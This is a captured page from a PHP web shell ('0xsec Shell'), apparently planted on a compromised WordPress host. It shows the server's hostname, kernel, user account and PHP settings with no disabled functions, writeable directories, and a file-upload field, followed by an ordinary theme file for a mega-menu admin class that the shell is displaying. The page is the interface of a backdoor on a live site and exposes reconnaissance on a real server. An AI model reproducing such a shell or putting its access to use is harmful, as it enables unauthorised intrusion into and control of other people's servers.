0xsec Shell
0xSec


Server : LiteSpeed
System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : rahcos ( 1533)
PHP Version : 8.4.23
Disable Function : NONE
Directory :  /home/rahcos/.trash/wp-content/themes/hara/inc/vendors/megamenu/includes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/rahcos/.trash/wp-content/themes/hara/inc/vendors/megamenu/includes/admin/class-admin.php
<?php

defined('ABSPATH') || exit();


class Hara_Admin_MegaMenu {

    public function __construct() {
        if( hara_elementor_activated() ) {
            $this->includes();
            add_action('admin_init', array($this, 'process_create_related'), 1);
        }
    }

    private function includes() {
        include_once get_template_directory() . '/inc/vendors/megamenu/includes/admin/class-admin-assets.php';
    }

    public function process_create_related($post_id) {
        if (isset($_GET['hara-menu-createable']) && isset($_GET['menu_id']) && absint($_GET['menu_id'])) {
            $menu_id = (int)$_GET['menu_id'];


            $related_id = hara_megamenu_get_post_related_menu($menu_id);

            if (!$related_id) {
                hara_megamenu_create_related_post($menu_id);
                $related_id = hara_megamenu_get_post_related_menu($menu_id);
            }

            if ($related_id && isset($_REQUEST['menu_id']) && is_admin()) {
                $url    = Elementor\Plugin::instance()->documents->get($related_id)->get_edit_url();
                $action = add_query_arg(array('hara-menu-editable' => 1), $url);

                wp_redirect($action);
                die;
            }
            exit();
        }
    }
}

new Hara_Admin_MegaMenu();

c0oded By c0rpz